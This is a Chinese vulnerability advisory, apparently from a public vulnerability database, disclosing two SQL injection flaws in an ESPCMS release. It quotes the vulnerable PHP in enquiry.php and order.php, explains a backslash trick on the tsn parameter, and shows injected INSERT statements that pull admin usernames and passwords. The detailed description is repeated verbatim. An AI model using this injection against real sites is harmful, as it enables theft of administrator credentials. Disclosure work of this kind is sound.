|espcms最新版两处高危SQL注入漏洞附分析(遗漏未修复)

espcms最新版两处高危SQL注入漏洞附分析(遗漏未修复)

- AV AC AU C I A

发布： 2025-04-13

修订： 2025-04-13

### 简要描述：绝对是最新版本！版本信息：V6.4.15.08.25 UTF8 正式版更新时间：2015-08-25 12:29:04 软件大小：7.67MB 25号更新的，有两处高危注入没有修复 ### 详细说明：第一处在在enquiry.php中 ``` $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $did = $this->fun->accept('did', 'P'); if (empty($did) || empty($amount) || empty($ptitle)) { $enquirylink = $this->get_link('enquiry', array(), admin_LNG); $this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $enquirysn = date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'enquiry'; $db_table2 = db_prefix . 'enquiry_info'; $addtime = time(); $db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime'; $db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')'); $insert_id = $this->db->insert_id(); $db_values = ''; $arraycount = count($did) - 1; foreach ($did as $key => $value) { $value = intval($value); $amount[$key] = intval($amount[$key]); if ($key == $arraycount) { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')"; } else { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),"; } } ``` 这里会把提交的数据转义，但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造：直接提交$tsn=\ 截到的sql语句是 ``` 查询时间查询语句 2015/8/30 0:46INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (2,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'') ``` [<img src="https://images.seebug.org/upload/201508/30005148f58c030cc9f19fdfa3b9a529514bb34b.jpg" alt="360截图20150830005055174.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/30005148f58c030cc9f19fdfa3b9a529514bb34b.jpg) 第二处在order.php中 ``` if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $bprice = $this->fun->accept('bprice', 'P'); $oprice = $this->fun->accept('oprice', 'P'); $did = $this->fun->accept('did', 'P'); $amount = $this->fun->accept('amount', 'P'); $countprice = $this->fun->accept('countprice', 'P'); if (empty($did) || empty($bprice) || empty($amount) || empty($countprice) || empty($opid) || empty($osid)) { $buylink = $this->get_link('order', array(), admin_LNG); $this->callmessage($this->lng['order_input_err'], $buylink, $this->lng['oder_buy_goback']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $payprice = 0; $shipprice = 0; $payread = !empty($opid) ? $this->get_payplug_view($opid) : 0; $shipprice = !empty($osid) ? $this->get_shipplug_view($osid, 'price') : 0; $shipprice = floatval($shipprice); if ($payread['payis'] > 0) { $payread['payis'] = floatval($payread['payis']); $payprice = ($payread['payis'] / 100) * $discount_productmoney; } $orderamount = $discount_productmoney + $payprice + $shipprice; $order_snfont = $this->CON['order_snfont']; $ordersn = $order_snfont . date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'order'; $db_table2 = db_prefix . 'order_info'; $addtime = time(); $db_field = 'ordersn,userid,ordertype,osid,opid,shippingsn,paysn,consignee,country,province,city,district,address, zipcode,tel,mobile,email,sendtime,invpayee,invcontent,content,treatnote,paytime,shippingtime,productmoney,shippingmoney, paymoney,orderamount,discount,integral,addtime'; $db_values = "'$ordersn',$userid,1,$osid,$opid,'','','$consignee',$country,$province,$city,$district,'$address', '$zipcode','$tel','$mobile','$email','$sendtime','$invpayee','$invcontent','$content','',0,0,$productmoney,$shipprice, $payprice,$orderamount,$discountmoney,0,$addtime"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')'); ``` 这里会把提交的数据转义，但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造：直接提交$tsn=\的话经过gpc会变成\\ ，那样截取了第一个\就成了\ 他新加了个tokenkey，然而并没有什么卵用。截到的sql语句是 ``` 2015/8/30 1:05INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (4,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#',0,1,1,1,1) ``` [<img src="https://images.seebug.org/upload/201508/300108144e7d4b2c97a35e21b0fd92152ba94359.jpg" alt="360截图20150830010611092.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/300108144e7d4b2c97a35e21b0fd92152ba94359.jpg) ### 漏洞证明：第一处在在enquiry.php中 ``` $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $did = $this->fun->accept('did', 'P'); if (empty($did) || empty($amount) || empty($ptitle)) { $enquirylink = $this->get_link('enquiry', array(), admin_LNG); $this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $enquirysn = date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'enquiry'; $db_table2 = db_prefix . 'enquiry_info'; $addtime = time(); $db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime'; $db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')'); $insert_id = $this->db->insert_id(); $db_values = ''; $arraycount = count($did) - 1; foreach ($did as $key => $value) { $value = intval($value); $amount[$key] = intval($amount[$key]); if ($key == $arraycount) { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')"; } else { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),"; } } ``` 这里会把提交的数据转义，但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造：直接提交$tsn=\ 截到的sql语句是 ``` 查询时间查询语句 2015/8/30 0:46INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (2,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'') ``` [<img src="https://images.seebug.org/upload/201508/30005148f58c030cc9f19fdfa3b9a529514bb34b.jpg" alt="360截图20150830005055174.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/30005148f58c030cc9f19fdfa3b9a529514bb34b.jpg) 第二处在order.php中 ``` if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $bprice = $this->fun->accept('bprice', 'P'); $oprice = $this->fun->accept('oprice', 'P'); $did = $this->fun->accept('did', 'P'); $amount = $this->fun->accept('amount', 'P'); $countprice = $this->fun->accept('countprice', 'P'); if (empty($did) || empty($bprice) || empty($amount) || empty($countprice) || empty($opid) || empty($osid)) { $buylink = $this->get_link('order', array(), admin_LNG); $this->callmessage($this->lng['order_input_err'], $buylink, $this->lng['oder_buy_goback']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $payprice = 0; $shipprice = 0; $payread = !empty($opid) ? $this->get_payplug_view($opid) : 0; $shipprice = !empty($osid) ? $this->get_shipplug_view($osid, 'price') : 0; $shipprice = floatval($shipprice); if ($payread['payis'] > 0) { $payread['payis'] = floatval($payread['payis']); $payprice = ($payread['payis'] / 100) * $discount_productmoney; } $orderamount = $discount_productmoney + $payprice + $shipprice; $order_snfont = $this->CON['order_snfont']; $ordersn = $order_snfont . date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'order'; $db_table2 = db_prefix . 'order_info'; $addtime = time(); $db_field = 'ordersn,userid,ordertype,osid,opid,shippingsn,paysn,consignee,country,province,city,district,address, zipcode,tel,mobile,email,sendtime,invpayee,invcontent,content,treatnote,paytime,shippingtime,productmoney,shippingmoney, paymoney,orderamount,discount,integral,addtime'; $db_values = "'$ordersn',$userid,1,$osid,$opid,'','','$consignee',$country,$province,$city,$district,'$address', '$zipcode','$tel','$mobile','$email','$sendtime','$invpayee','$invcontent','$content','',0,0,$productmoney,$shipprice, $payprice,$orderamount,$discountmoney,0,$addtime"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')'); ``` 这里会把提交的数据转义，但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造：直接提交$tsn=\的话经过gpc会变成\\ ，那样截取了第一个\就成了\ 他新加了个tokenkey，然而并没有什么卵用。截到的sql语句是 ``` 2015/8/30 1:05INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (4,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#',0,1,1,1,1) ``` [<img src="https://images.seebug.org/upload/201508/300108144e7d4b2c97a35e21b0fd92152ba94359.jpg" alt="360截图20150830010611092.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/300108144e7d4b2c97a35e21b0fd92152ba94359.jpg)

漏洞利用/PoC

暂无可用Exp或PoC

受影响的平台与产品

当前有0条受影响产品信息

您还没有登录，登录后可查看更多

添加资源
收藏资源
问题反馈

贡献用户

暂无贡献用户

VULHUB ™